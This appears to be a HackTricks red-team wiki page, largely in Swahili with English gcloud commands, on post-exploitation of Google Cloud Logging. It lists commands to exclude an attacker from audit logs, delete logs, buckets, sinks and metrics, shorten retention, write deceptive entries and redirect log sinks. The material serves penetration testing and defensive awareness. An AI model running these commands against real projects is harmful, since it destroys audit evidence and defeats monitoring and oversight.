GCP - Logging Post Exploitation

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Kwa maelezo zaidi angalia:

pageGCP - Logging Enum

Kwa njia nyingine za kuvuruga ufuatiliaji angalia:

pageGCP - Monitoring Post Exploitation

Kuingia Kwa Chaguo la Msingi

Kwa chaguo la msingi hutakamatwa kwa kufanya vitendo vya kusoma tu. Kwa maelezo zaidi angalia sehemu ya Uchunguzi wa Kuingia.

Ongeza Mkuu Aliyetarajiwa

Katika https://console.cloud.google.com/iam-admin/audit/allservices na https://console.cloud.google.com/iam-admin/audit inawezekana kuongeza mkuu ili asizalisha magogo. Mvamizi anaweza kutumia hii kuzuia kukamatwa.

Soma magogo - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated